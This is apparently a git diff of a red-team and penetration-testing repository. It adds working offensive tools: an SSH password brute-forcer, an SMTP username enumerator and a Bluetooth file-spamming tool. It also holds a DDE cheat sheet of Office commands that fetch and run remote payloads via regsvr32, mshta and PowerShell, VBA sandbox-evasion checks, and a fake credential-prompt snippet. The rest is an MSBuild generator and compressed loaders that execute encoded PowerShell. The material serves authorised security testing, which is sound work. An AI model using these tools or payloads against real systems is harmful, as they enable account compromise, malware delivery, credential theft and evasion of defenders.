print '({}/{}) Server: {}:{} | VRFY {} | Result: [{}]'.format(
i, len(username), server, port, user, interpret_smtp_status_code(res))
else:
s.send('VRFY ' + username + '\r\n')
res = s.recv(1024).strip()
print '[>] Response from {}:{} - '.format(server, port) + interpret_smtp_status_code(res)
if 'User unknown' in res:
print '[!] User not found.'
elif (res.startswith('25') and username in res and '<' in res and '>' in res):
print '[+] User found: "{}"'.format(res.strip())
else:
print '[?] Response: "{}"'.format(res.strip())
s.close()
if __name__ == '__main__':
if len(sys.argv) < 2:
print '[?] Usage: smtpvrfy.py <smtpserver> [username|wordlist] [timeout]'
print '\t(to specify a port provide it after a colon \':\' in server parameter)'
sys.exit(0)
server = sys.argv[1]
port = 25 if ':' not in server else int(server[server.find(':')+1:])
username = sys.argv[2] if len(sys.argv) >= 3 else DEFAULT_WORDLIST
timeout = DEFAULT_TIMEOUT if len(sys.argv) < 4 else int(sys.argv[3])
if os.path.isfile(username):
names = []
with open(username, 'r') as f:
for a in f:
names.append(a.strip())
print '[>] Provided wordlist file with {} entries.'.format(len(names))
vrfy(server, names, port, timeout, brute=True)
else:
vrfy(server, username, port, timeout)

74
networks/sshbrute.py Normal file
View File

@ -0,0 +1,74 @@
#
# Pxssh driven SSH brute-forcing script.
# Based on:
# Violent Python, by TJ O'Connor
#
import pxssh
import time
import optparse
from sys import argv, exit, stdout
from threading import *
MAX_CONNS = 5
CONN_LOCK = BoundedSemaphore(value=MAX_CONNS)
FOUND = False
FAILS = 0
def send_command(s, cmd):
s.sendline(cmd)
s.prompt()
print s.before
def connect(host, user, password, release):
global FOUND
global FAILS
try:
s = pxssh.pxssh()
s.login(host, user, password)
print '\n\n[+] Password found: ' + password + '\n\n'
FOUND = True
return s
except Exception, e:
if 'read_nonblocking' in str(e):
FAILS += 1
time.sleep(3)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host, user, password, False)
finally:
if release:
CONN_LOCK.release()
def main():
if len(argv) < 4:
print 'Usage: sshbrute.py host user passwords_list'
return
host = argv[1]
user = argv[2]
passwords = [ p.strip() for p in open(argv[3]).readlines()]
i = 0
for p in passwords:
i += 1
if FOUND:
print '[*] Password found.'
exit(0)
if FAILS > 5:
print '[!] Exiting: Too many socket timeouts'
exit(0)
CONN_LOCK.acquire()
stdout.write('[?] Trying: "%s" %d/%d (%.2f%%)\r' % \
(p, i, len(passwords), float(i)/len(passwords)))
stdout.flush()
t = Thread(target=connect, args=(host, user, p, True))
t.start()
stdout.write('\n')
if __name__ == '__main__':
main()

264
networks/tcpproxy.py Normal file
View File

@ -0,0 +1,264 @@
#!/usr/bin/python
import sys
import socket
import argparse
import threading
config = {
'debug': False,
'verbose': False,
'timeout' : 5.0,
}
# =========================================================
# CUSTOM ANALYSIS, FUZZING, INTERCEPTION ROUTINES.
def requestHandler(buff):
'''
Modify any requests destined for the REMOTE host service.
'''
return buff
def responseHandler(buff):
'''
Modify any responses destined for the LOCAL host service.
'''
return buff
# =========================================================
class Logger:
@staticmethod
def _out(x):
if config['debug'] or config['verbose']:
sys.stderr.write(x + '\n')
@staticmethod
def dbg(x):
if config['debug']:
sys.stderr.write('[dbg] ' + x + '\n')
@staticmethod
def out(x):
Logger._out('[.] ' + x)
@staticmethod
def info(x):
Logger._out('[?] ' + x)
@staticmethod
def err(x, fatal = False):
Logger._out('[!] ' + x)
if fatal: sys.exit(-1)
@staticmethod
def fail(x, fatal = False):
Logger._out('[-] ' + x)
if fatal: sys.exit(-1)
@staticmethod
def ok(x):
Logger._out('[+] ' + x)
def hexdump(src, length = 16):
result = []
digits = 4 if isinstance(src, unicode) else 2
num = len(src)
for i in range(0, num, length):
s = src[i:i+length]
hexa = b' '.join(['%0*X' % (digits, ord(x)) for x in s])
text = b''.join([x if 0x20 <= ord(x) < 0x7f else b'.' for x in s])
result.append(b'%04x | %-*s | %s' % (i, length * (digits + 1), hexa, text))
return str(b'\n'.join(result))
def recvFrom(sock):
'''
Simple recvAll based on timeout exception.
'''
buff = ''
sock.settimeout(config['timeout'])
try:
while True:
data = sock.recv(4096)
if not data: break
buff += data
except:
pass
return buff
def proxyHandler(clientSock, remoteHost, remotePort, recvFirst):
Logger.dbg('Connecting to REMOTE service: {}:{}'.format(remoteHost, remotePort))
try:
remoteSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remoteSock.settimeout(config['timeout'])
remoteSock.connect((remoteHost, remotePort))
Logger.dbg('Connected.')
except Exception as e:
Logger.err('TCP Proxy was unable to connect to REMOTE service: {}:{}'.format(
remoteHost, remotePort), fatal = True
)
if recvFirst:
remoteBuff = recvFrom(remoteSock)
Logger.info('[<==] Received {} bytes from REMOTE service.'.format(len(remoteBuff)))
Logger.dbg('Remote service Recv buff BEFORE responseHandler:\n' + hexdump(remoteBuff))
remoteBuffOrig = remoteBuff
remoteBuff = responseHandler(remoteBuff)
if remoteBuff != remoteBuffOrig:
Logger.dbg('Buffer to be sent to LOCAL service modified. Lengths: {} -> {}'.format(
len(remoteBuffOrig, remoteBuff)))
Logger.dbg('Remote service Recv buff AFTER responseHandler:\n' + hexdump(remoteBuff))
if len(remoteBuff):
Logger.info('[<==] Sending {} bytes to LOCAL service.'.format(len(remoteBuff)))
clientSock.send(remoteBuff)
# Send & Receive / Proxy loop
while True:
# LOCAL part
localBuff = recvFrom(clientSock)
if len(localBuff):
Logger.info('[==>] Received {} bytes from LOCAL service.'.format(len(localBuff)))
Logger.dbg('Local service Recv buff:\n' + hexdump(localBuff))
localBuffOrig = localBuff
localBuff = requestHandler(localBuff)
if localBuff != localBuffOrig:
Logger.dbg('Buffer to be sent to REMOTE service modified. Lengths: {} -> {}'.format(
len(localBuffOrig, localBuff)))
Logger.dbg('Local service Recv buff AFTER requestHandler:\n' + hexdump(localBuff))
remoteSock.send(localBuff)
Logger.info('[==>] Sent to REMOTE service.')
# REMOTE part
remoteBuff = recvFrom(remoteSock)
if len(remoteBuff):
Logger.info('[<==] Received {} bytes from REMOTE service.'.format(len(remoteBuff)))
Logger.dbg('Remote service Recv buff:\n' + hexdump(remoteBuff))
remoteBuffOrig = remoteBuff
remoteBuff = responseHandler(remoteBuff)
if remoteBuff != remoteBuffOrig:
Logger.dbg('Buffer to be sent to LOCAL service modified. Lengths: {} -> {}'.format(
len(remoteBuffOrig, remoteBuff)))
Logger.dbg('Remote service Recv buff AFTER responseHandler:\n' + hexdump(remoteBuff))
clientSock.send(remoteBuff)
Logger.info('[<==] Sent to LOCAL service.')
if not len(localBuff) or not len(remoteBuff):
clientSock.close()
remoteSock.close()
Logger.info('No more data. Closing connections.')
break
def serverLoop(localHost, localPort, remoteHost, remotePort, receiveFirst):
serv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
serv.bind((localHost, localPort))
Logger.ok('TCP Proxy listening on: {}:{}'.format(localHost, localPort))
serv.listen(5)
except Exception as e:
Logger.err('TCP Proxy server was unable to bound to {}:{}'.format(localHost, localPort), fatal = True)
while True:
clientSock, addr = serv.accept()
Logger.info('[==>] Received incoming connection from: {}:{}'.format(addr[0], addr[1]))
proxyThread = threading.Thread(
target = proxyHandler,
args = (
clientSock,
remoteHost,
remotePort,
receiveFirst
)
)
proxyThread.start()
def processOpts(argv):
global config
usageStr = '''
tcpproxy.py [options] <LOCAL> <REMOTE>
Example:
tcpproxy.py 127.0.0.1:9000 192.168.56.102:9000
'''
parser = argparse.ArgumentParser(prog = argv[0], usage = usageStr)
parser.add_argument('localhost', metavar='LOCAL', type=str,
help = 'Local service to proxy (host:port)')
parser.add_argument('remotehost', metavar='REMOTE', type=str,
help = 'Remote service to proxy to (host:port)')
parser.add_argument('-r', '--recvfirst', dest='recvfirst', action='store_true', default = False,
help='Make the proxy first receive something, than respond.')
parser.add_argument('-t', '--timeout', metavar='timeout', dest='timeout', default = config['timeout'],
help='Specifies service connect & I/O timeout. Default: {}.'.format(config['timeout']))
parser.add_argument('-v', '--verbose', dest='verbose', action='store_true',
help='Show verbose output.')
parser.add_argument('-d', '--debug', dest='debug', action='store_true',
help='Show more verbose, debugging output.')
if len(sys.argv[1:]) < 2:
parser.print_help()
sys.exit(0)
args = parser.parse_args()
if args.debug:
config['debug'] = args.debug
if args.verbose:
config['verbose'] = args.verbose
config['timeout'] = float(args.timeout)
Logger.dbg('Timeout set to: {} seconds.'.format(args.timeout))
return (args.localhost, args.remotehost, args.recvfirst)
def main():
local, remote, recvfirst = processOpts(sys.argv)
localHost, localPort = local.split(':')
remoteHost, remotePort = remote.split(':')
try:
localPort = int(localPort)
if localPort < 0 or localPort > 65535:
raise ValueError
except ValueError:
Logger.err('Invalid LOCAL port specified.', fatal = True)
try:
remotePort = int(remotePort)
if remotePort < 0 or remotePort > 65535:
raise ValueError
except ValueError:
Logger.err('Invalid LOCAL port specified.', fatal = True)
Logger.info('Proxying: {}:{} => {}:{}'.format(
localHost, localPort, remoteHost, remotePort
))
serverLoop(localHost, localPort, remoteHost, remotePort, recvfirst)
if __name__ == '__main__':
main()

9
others/README.md Normal file
View File

@ -0,0 +1,9 @@
## Other Penetration-Testing related scripts and tools
- **`bluetoothObexSpam.py`** - Script intended to flood bluetooth enabled devices with incoming OBEX Object Push requests containing attacker-specified file. ([gist](https://gist.github.com/mgeeky/5b35453cd46837a01200a0eca4aa1e41))
- **`encrypt.rb`** - Simple File Encryption utility (with support for Blowfish, GOST, IDEA, AES) capable of encrypting directories. ([gist](https://gist.github.com/mgeeky/751c01c4dac99871f4da))
- **`xor-key-recovery.py`** - Simple XOR brute-force Key recovery script - given a cipher text, plain text and key length - it searches for proper key that could decrypt cipher into text. ([gist](https://gist.github.com/mgeeky/589b2cf781901288dfea0894a780ff98))

102
others/bluetoothObexSpam.py Normal file
View File

@ -0,0 +1,102 @@
#
# Bluetooth scanner with ability to spam devices
# with incoming OBEX Object Push requests containing
# specified file.
#
# Mariusz B. / MGeeky, 16'
#
# Partially based on `Violent Python` snippets.
# Modules required:
# python-bluez
# python-obexftp
#
import bluetooth
import scapy
import obexftp
import sys
import optparse
import threading
import time
import os
foundDevs = []
def printDev(name, dev, txt='Bluetooth device'):
print '[+] %s: "%s" (MAC: %s)' % (txt, name, dev)
def retBtAddr(addr):
btAddr = str(hex(int(addr.replace(':', ''), 16) + 1))[2:]
btAddr = btAddr[0:2] + ':' + btAddr[2:4] + ':' + btAddr[4:6] + \
':' + btAddr[6:8] + ':' + btAddr[8:10] + ':' + btAddr[10:12]
return btAddr
def checkBluetooth(btAddr):
btName = bluetooth.lookup_name(btAddr)
if btName:
printDev('Hidden Bluetooth device detected', btName, btAddr)
return True
return False
def sendFile(dev, filename):
if os.path.exists(filename):
client = obexftp.client(obexftp.BLUETOOTH)
channel = obexftp.browsebt(dev, obexftp.PUSH)
print '[>] Sending file to %s@%s' % (dev, str(channel))
client.connect(dev, channel)
ret = client.put_file(filename)
if int(ret) >= 1:
print '[>] File has been sent.'
else:
print '[!] File has not been accepted.'
client.disconnect()
else:
print '[!] Specified file: "%s" does not exists.'
def findDevs(opts):
global foundDevs
devList = bluetooth.discover_devices(lookup_names=True)
repeat = range(0, int(opts.repeat))
for (dev, name) in devList:
if dev not in foundDevs:
name = str(bluetooth.lookup_name(dev))
printDev(name, dev)
foundDevs.append(dev)
for i in repeat:
sendFile(dev, opts.file)
continue
if opts.spam:
for i in repeat:
sendFile(dev, opts.file)
def main():
parser = optparse.OptionParser(usage='Usage: %prog [options]')
parser.add_option('-f', '--file', dest='file', metavar='FILE', help='Specifies file to be sent to discovered devices.')
parser.add_option('-t', '--time', dest='time', metavar='TIMEOUT', help='Specifies scanning timeout (default - 0 secs).', default='0')
parser.add_option('-r', '--repeat', dest='repeat', metavar='REPEAT', help='Number of times to repeat file sending after finding a device (default - 1)', default='1')
parser.add_option('-s', '--spam', dest='spam', action='store_true', help='Spam found devices with the file continuosly')
print '\nBluetooth file carpet bombing via OBEX Object Push'
print 'Mariusz B. / MGeeky 16\n'
(opts, args) = parser.parse_args()
if opts.file != '':
if not os.path.exists(opts.file):
print '[!] Specified file: "%s" does not exists.'
sys.exit(0)
print '[+] Started Bluetooth scanning. Ctr-C to stop...'
timeout = float(opts.time)
try:
while True:
findDevs(opts)
time.sleep(timeout)
except KeyboardInterrupt, e:
print '\n[?] User interruption.'
if __name__ == '__main__':
main()

189
others/encrypt.rb Normal file
View File

@ -0,0 +1,189 @@
#!/usr/bin/ruby
#
# Script that performs encryption and decryption of files and directories.
# In latter case producing encrypted ZIP package that will get decompressed automatically
# after decryption.
#
# Mariusz B., 2016 v0.1
#
require 'optparse'
require 'io/console'
gem 'rubyzip'
require 'zip/zip'
require 'zip/zipfilesystem'
def encrypt(infile, outfile, ciph, encryption, pass)
gem "crypt"
require 'crypt/blowfish'
require 'crypt/gost'
require 'crypt/idea'
require 'crypt/rijndael'
begin
cipher = case ciph
when "blowfish" then Crypt::Blowfish.new(pass)
when "gost" then Crypt::Gost.new(pass)
when "idea" then Crypt::IDEA.new(pass, encryption ? Crypt::IDEA::ENCRYPT : Crypt::IDEA::DECRYPT)
when "aes" then Crypt::Rijndael.new(pass)
else nil
end
if cipher == nil
raise "unknown cipher."
else
raise "Input file path is empty. Cannot proceed any further" if infile.empty?
if encryption
cipher.encrypt_file(infile, outfile)
else
cipher.decrypt_file(infile, outfile)
end
puts "Operation succeeded."
end
rescue Exception => e
puts "An error ocurred during encryption: #{e}\n"
puts %Q|#{e.backtrace.join "\n\t"}|
end
end
def compress(path, out = nil)
path.sub!(%r[/$], '')
archive = out || File.join(path, File.basename(path))
archive << '.zip'
FileUtils.rm archive, :force => true
Zip::ZipFile.open(archive, 'w') do |zipfile|
Dir["#{path}/**/**"].reject{ |f| f == archive }.each do |file|
zipfile.add(file.sub(path + '/', ''), file)
end
end
archive
end
def decompress(path, out)
Zip::ZipFile.open(path) { |zip_file|
zip_file.each { |f|
f_path = File.join(out, f.name)
FileUtils.mkdir_p(File.dirname(f_path))
zip_file.extract(f, f_path) unless File.exist?(f_path)
}
}
end
# Main function.
if __FILE__ == $0
options = {:cipher => 'aes'}
optsparser = OptionParser.new do |opts|
opts.program_name = "encryption.rb"
opts.banner = "Usage: encryption [options] <mode> <infile> <outfile>\n\nWhere:"\
"\n <mode>\t\t\t Either encrypt or decrypt (or for shorteness: e|d)."\
"\n <infile>\t\t\t Specifies input file or directory path."\
"\n <outfile>\t\t\t Specifies output file path.\n"
opts.separator ""
opts.separator "Additional options:"
supported = %w[blowfish gost idea aes]
opts.on("-c", "--cipher <cipher>", "Supported ciphers (by default 'aes' will be used):",
*supported) do |cipher|
unless supported.include?(cipher)
opts.warn "[!] Unsupported cipher!"
exit
end
options[:cipher] = cipher.downcase
end
opts.on("-h", "--help", "Displays help") do
puts opts
exit
end
end
optsparser.parse!
unless ARGV.length > 2
optsparser.warn "Required <mode> and <file> parameters missing!\n\n#{optsparser}"
exit
end
mode = case ARGV[0].downcase
when 'encrypt', 'enc', 'e' then "encrypt"
when 'decrypt', 'dec', 'd' then "decrypt"
else "error"
end
if mode == "error"
optsparser.warn "You must specify valid <mode> - either 'encrypt' or 'decrypt'!"
exit
end
infile = ARGV[1].chomp
outfile = ARGV[2].chomp
cipher = options[:cipher]
puts "Mode: #{mode.capitalize}"
puts "Cipher: #{cipher.upcase}"
puts "Input file: '#{infile}'"
puts "Output file: '#{outfile}'"
puts ""
compressed = false
tmp = ''
if File.directory?(infile)
require 'tempfile'
d = Tempfile.new('dir')
tmp = d.path.clone
d.close
d.unlink
puts %Q[Compressing specified directory '#{infile}'... ]
begin
tmp = compress(infile, tmp.clone)
compressed = true
rescue Exception => e
puts "[!] Couldn't compress input directory.: #{e}"
File.delete(tmp)
exit
end
else
tmp = infile
end
if File.exists?(outfile)
STDOUT.write "File specified as output file already exists. Do you want to continue? [Y/n]: "
c = $stdin.gets.strip.downcase
unless ["y", "yes"].include?(c) or c.empty?
if compressed
File.delete(tmp)
end
exit
end
end
print 'Enter your encryption key: '
pass = STDIN.noecho(&:gets).chomp
puts ""
begin
encrypt(tmp, outfile, cipher, mode == 'encrypt', pass)
if compressed
File.delete tmp
else
begin
# If decrypted file is a valid zip file - unzip it.
Zip::ZipFile.open(outfile).close
tmp = outfile + '.tmp'
File.rename outfile, tmp
decompress(tmp, outfile)
File.delete tmp
rescue
# Ups, not a ZIP file. Nothing to decompress..
end
end
rescue Exception => e
puts "[!] Operation failed: #{e}"
puts %Q|#{e.backtrace.join "\n\t"}|
end
end

View File

@ -0,0 +1,86 @@
#!/usr/bin/python
#
# Simple XOR brute-force Key recovery script - given a cipher text, plain text and key length
# it searches for proper key that could decrypt cipher into text.
#
# Mariusz B., 2016
#
import sys
def xorstring(s, k):
out = [0 for c in range(len(s))]
key = []
if type(k) == type(int):
key = [k,]
else:
key = [ki for ki in k]
for i in range(len(key)):
for j in range(i, len(s), len(key)):
out[j] = chr(ord(s[j]) ^ key[i])
return ''.join(out)
def brute(input_xored, expected_output, key_len):
key = []
if len(input_xored) != len(expected_output):
print '[!] Input xored and expected output lengths not match!'
return False
for i in range(key_len):
cipher_letters = [ input_xored[x] for x in range(i, len(input_xored), key_len)]
plaintext_letters = [ expected_output[x] for x in range(i, len(input_xored), key_len)]
found = False
for k in range(256):
found = True
for j in range(key_len):
if chr(ord(cipher_letters[j]) ^ k) != plaintext_letters[j]:
found = False
break
if found:
key.append(k)
break
found = False
if not found:
print '[!] Could not found partial key value.'
break
return key, xorstring(input_xored, key) == expected_output
def main(argv):
if len(argv) < 4:
print 'Usage: %s <cipher> <plain> <key-len>'
return False
cipher = argv[1]
plain = argv[2]
keylen = int(argv[3])
if len(cipher) != len(plain):
print '[!] Cipher text and plain text must be of same length!'
return False
if len(cipher) % keylen != 0:
print '[!] Cipher text and plain text lengths must be divisble by keylen!'
return False
print "Cipher text:\t%s" % cipher
print "Plain text:\t%s" % plain
print "Key length:\t%d" % keylen
key, status = brute(cipher, plain, keylen)
if status:
print '[+] Key recovered!'
print '\tKey:\t\t\t', str(key)
print '\tDecrypted string:\t' + xorstring(cipher, key)
else:
print '[!] Key not found.'
if __name__ == '__main__':
main(sys.argv)

View File

@ -0,0 +1 @@
Invoke-Command 192.168.56.102 -Cred (New-Object -Type System.Management.Automation.PSCredential -ArgumentList "ieuser", $(ConvertTo-SecureString "Passw0rd!" -AsPlainText -Force)) {ipconfig}

View File

@ -0,0 +1,28 @@
## Macro-Less Code Execution in MS Office via DDE (Dynamic Data Exchange) techniques Cheat-Sheet
- Using `regsvr32` _*.sct_ files technique:
```
DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/c Microsoft Office Application data || regsvr32 /s /n /u /i:http://192.168.56.101/empire2.sct scrobj.dll"
```
- Using `HTA` files technique:
```
DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/c Microsoft Office Application data || mshta http://192.168.56.101/poc.hta"
```
- Method from Empire - unfortunately unable to hide 'powershell.exe -NoP -sta -NonI' sequence
```
DDEAUTO C:\\Microsoft\\Programs\\Office\\MSWord.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://192.168.56.101/default.ps1');powershell -noP -sta -w 1 -enc $e "
```
- CactusTorch DDE can also generate files in **JS** and **VBS** formats.
They will utilize `cscript` as a file interpreter.
- Another option is to use scripts by _Dominic Spinosa_ found [here](https://github.com/0xdeadbeefJERKY/Office-DDE-Payloads)
- Another option is to stick with `Unicorn` by _Dave Kennedy_
## Sources
- https://medium.com/red-team/dde-payloads-16629f4a2fcd

View File

@ -0,0 +1,139 @@
Private Declare PtrSafe Function isDbgPresent Lib "kernel32" Alias "IsDebuggerPresent" () As Boolean
Public Function IsFileNameNotAsHexes() As Boolean
Dim str As String
Dim hexes As Variant
Dim only_hexes As Boolean
only_hexes = True
hexes = Array("0", "1", "2", "3", "4", "5", "6", "7", _
"8", "9", "a", "b", "c", "d", "e", "f")
str = ActiveDocument.name
str = Mid(str, 1, InStrRev(str, ".") - 1)
For i = 1 To UBound(hexes, 1) - 1
Dim ch As String
ch = LCase(Mid(str, i, 1))
If Not (UBound(Filter(hexes, ch)) > -1) Then
' Character not in hexes array.
only_hexes = False
Exit For
End If
Next
only_hexes = (Not only_hexes)
IsFileNameNotAsHexes = only_hexes
End Function
Public Function IsProcessListReliable() As Boolean
Dim objWMIService, objProcess, colProcess
Dim strComputer, strList
Dim bannedProcesses As Variant
bannedProcesses = Array("fiddler", "vxstream", _
"tcpview", "vmware", "procexp", "vmtools", "autoit", _
"wireshark", "procmon", "idaq", "autoruns", "apatedns", _
"windbg")
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" _
& strComputer & "\root\cimv2")
Set colProcess = objWMIService.ExecQuery _
("Select * from Win32_Process")
For Each objProcess In colProcess
For Each proc In bannedProcesses
If InStr(LCase(objProcess.name), LCase(proc)) <> 0 Then
' Found banned process.
IsProcessListReliable = False
Exit Function
End If
Next
Next
If isDbgPresent() Then
IsProcessListReliable = False
Exit Function
End If
IsProcessListReliable = (colProcess.Count() > 50)
End Function
Public Function IsHardwareReliable() As Boolean
Dim objWMIService, objItem, colItems, strComputer
Dim totalSize, totalMemory, cpusNum As Integer
totalSize = 0
totalMemory = 0
cpusNum = 0
Const wbemFlagReturnImmediately = &H10
Const wbemFlagForwardOnly = &H20
strComputer = "."
' Checking total HDD size
Set objWMIService = GetObject _
("winmgmts:\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery _
("Select * from Win32_LogicalDisk")
For Each objItem In colItems
Dim num
num = Int(objItem.Size / 1073741824)
If num > 0 Then
totalSize = totalSize + num
End If
Next
If totalSize < 60 Then
' Total HDD size of the machine must be at least 60GB
IsHardwareReliable = False
Exit Function
End If
' Checking Memory
Set colComputer = objWMIService.ExecQuery _
("Select * from Win32_ComputerSystem")
For Each objComputer In colComputer
totalMemory = totalMemory + Int((objComputer.TotalPhysicalMemory) / 1048576) + 1
Next
If totalMemory < 1024 Then
' Total Memory is less than 1GB
IsHardwareReliable = False
Exit Function
End If
Set colItems2 = objWMIService.ExecQuery("SELECT * FROM Win32_Processor", "WQL", _
wbemFlagReturnImmediately + wbemFlagForwardOnly)
For Each objItem In colItems2
cpusNum = cpusNum + objItem.NumberOfLogicalProcessors
Next
If cpusNum < 2 Then
' Nowadays everyone has at least 2 logical cores.
IsHardwareReliable = False
Exit Function
End If
IsHardwareReliable = True
End Function
Public Function IsRunningInSandbox() As Boolean
Dim test As Boolean
If IsFileNameNotAsHexes() <> True Then
IsRunningInSandbox = True
Exit Function
ElseIf IsProcessListReliable() <> True Then
IsRunningInSandbox = True
Exit Function
ElseIf IsHardwareReliable() <> True Then
IsRunningInSandbox = True
Exit Function
End If
IsRunningInSandbox = False
End Function

View File

@ -0,0 +1,18 @@
<#
try {
(Get-Credential -Credential $null).GetNetworkCredential() |
Select-Object @{name="User"; expression = {
If ($_.Domain -ne [string]::Empty) {
"{0}\{1}" -f ($_.Domain), ($_.UserName)
} Else {
$_.UserName
}
}
}, Password | Format-List
} catch {
}
#>
try { ((Get-Credential -Credential $null).GetNetworkCredential() | Select-Object @{name="User"; expression={If ($_.Domain -ne [string]::Empty) {"{0}\{1}" -f ($_.Domain), ($_.UserName)} Else { $_.UserName} }}, Password | Format-List) } catch { }

View File

@ -0,0 +1,142 @@
## Red Teaming and Social-Engineering related scripts, tools and CheatSheets
- **`Macro-Less-Cheatsheet.md`** - Macro-Less Code Execution in MS Office via DDE (Dynamic Data Exchange) techniques Cheat-Sheet ([gist](https://gist.github.com/mgeeky/981213b4c73093706fc2446deaa5f0c5))
- **`generateMSBuildPowershellXML.py`** - Powershell via MSBuild inline-task XML payload generation script - To be used during Red-Team assignments to launch Powershell payloads without using `powershell.exe` ([gist](https://gist.github.com/mgeeky/df9f313cfe468e56c59268b958319bcb))
Example output **not minimized**:
```
C:\Users\IEUser\Desktop\files\video>python generateMSBuildPowershellXML.py Show-Msgbox.ps1
:: Powershell via MSBuild inline-task XML payload generation script
To be used during Red-Team assignments to launch Powershell payloads without using 'powershell.exe'
Mariusz B. / mgeeky, <mb@binary-offensive.com>
[?] File not recognized as PE/EXE.
------------------------------------------------------------------------------------
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- Based on Casey Smith work, Twitter: @subTee -->
<!-- Automatically generated using `generateMSBuildPowershellXML.py` utility -->
<!-- by Mariusz B. / mgeeky <mb@binary-offensive.com> -->
<Target Name="btLDoraXcZV">
<hwiJYmWvD />
</Target>
<UsingTask TaskName="hwiJYmWvD" TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v 4.0.dll" >
<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class hwiJYmWvD : Task {
public override bool Execute() {
byte[] payload = System.Convert.FromBase64String("JHMgPSBOZXctT2JqZ WN0IElPLk1lbW9yeVN0cmVhbSgsIFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygn SDRzSUFJOUxjbG9DLzN1L2UzOTBjR1Z4U1dxdVhsQnFXazVxY2tsbWZwNmVZM0Z4YW0 1U1RtV3NsWlZQZm1KS2VHWkpSa0JpVVVsbVlvNWZZbTZxaGhKVVIzaG1Ya3ArZWJHZV czNVJickdTcGtLTmduOXBpYTVmYVU2T05TOVhORFpGZXI2cHhjV0o2YWxPK1JWQXM0T Xo4c3MxMUQxTEZNcnppN0tMRmRVMXJRRk9mWFlmandBQUFBPT0nKSk7IElFWCAoTmV3 LU9iamVjdCBJTy5TdHJlYW1SZWFkZXIoTmV3LU9iamVjdCBJTy5Db21wcmVzc2lvbi5 HemlwU3RyZWFtKCRzLCBbSU8uQ29tcHJlc3Npb24uQ29tcHJlc3Npb25Nb 2RlXTo6RGVjb21wcmVzcykpKS5SZWFkVG9FbmQoKTs=");
string decoded = System.Text.Encoding.UTF8.GetString(payload);
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
Pipeline pipeline = runspace.CreatePipeline();
pipeline.Commands.AddScript(decoded);
pipeline.Invoke();
runspace.Close();
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
------------------------------------------------------------------------------------
```
**minimized**
```
C:\Users\IEUser\Desktop\files\video>python generateMSBuildPowershellXML.py Show-Msgbox.ps1 -m
:: Powershell via MSBuild inline-task XML payload generation script
To be used during Red-Team assignments to launch Powershell payloads without using 'powershell.exe'
Mariusz B. / mgeeky, <mb@binary-offensive.com>
[?] File not recognized as PE/EXE.
------------------------------------------------------------------------------------
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003"><Target Name="mYOYInAFWE"><DpaYaokgauWBJbe />
</Target><UsingTask TaskName="DpaYaokgauWBJbe" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.Ne
t\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll"><Task><Reference Include="System.Management.Automation" /><
Code Type="Class" Language="cs"><![CDATA[using System.Management.Automation;using System.Management.Automation.Run
spaces;using Microsoft.Build.Framework;using Microsoft.Build.Utilities;public class DpaYaokgauWBJbe:Task{public ov
erride bool Execute(){byte[] x=System.Convert.FromBase64String("JHMgPSBOZXctT2JqZWN0IElPLk1lbW9yeVN0cmVhbSgsIFtDb25
2ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnSDRzSUFMQkxjbG9DLzN1L2UzOTBjR1Z4U1dxdVhsQnFXazVxY2tsbW ZwNmVZM0Z4YW01U1RtV3NsWlZQZ
m1KS2VHWkpSa0JpVVVsbVlvNWZZbTZxaGhKVVIzaG1Ya3ArZWJHZVczNVJickdTcGtLTmduOXBpYTVmYVU2T05T OVhORFpGZXI2cHhjV0o2YWxPK1J
WQXM0TXo4c3MxMUQxTEZNcnppN0tMRmRVMXJRRk9mWFlmandBQUFBPT0nKSk7IElFWCAoTmV3LU9iamVjdCBJTy 5TdHJlYW1SZWFkZXIoTmV3LU9ia
mVjdCBJTy5Db21wcmVzc2lvbi5HemlwU3RyZWFtKCRzLCBbSU8uQ29tcHJlc3Npb24uQ29tcHJlc3Npb25Nb2Rl XTo6RGVjb21wcmVzcykpKS5SZWF
kVG9FbmQoKTs=");string d=System.Text.Encoding.UTF8.GetString(x);Runspace r=RunspaceFactory.CreateRunspace();r.Open
();Pipeline p=r.CreatePipeline();p.Commands.AddScript(d);p.Invoke();r.Close();return true;}}]]></Code></Task></Usi
ngTask></Project>
------------------------------------------------------------------------------------
```
- **`msbuild-powershell-msgbox.xml`** - Example of Powershell execution via MSBuild inline task XML file. On a simple Message-Box script.
([gist](https://gist.github.com/mgeeky/617c54a23f0c4e99e6f475e6af070810))
- **`compressedPowershell.py`** - Creates a Powershell snippet containing GZIP-Compressed payload that will get decompressed and executed (IEX)
. ([gist](https://gist.github.com/mgeeky/e30ceecc2082a11b99c7b24b42bd77fc))
Example:
```
$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String('H4sIAMkfcloC/3u/e390cGVxSWquXlBqWk5qcklmfp6eY3Fxam5STmWslZVPfmJKeGZJRkBiUUlmYo5fYm6qhhJUR3hmXkp+ebGeW35RbrGSpkKNgn9pia5faU6ONS9XNDZFer6pxcWJ6alO+RVAs4Mz8ss11D1LFMrzi7KLFdU1rQFOfXYfjwAAAA=='));
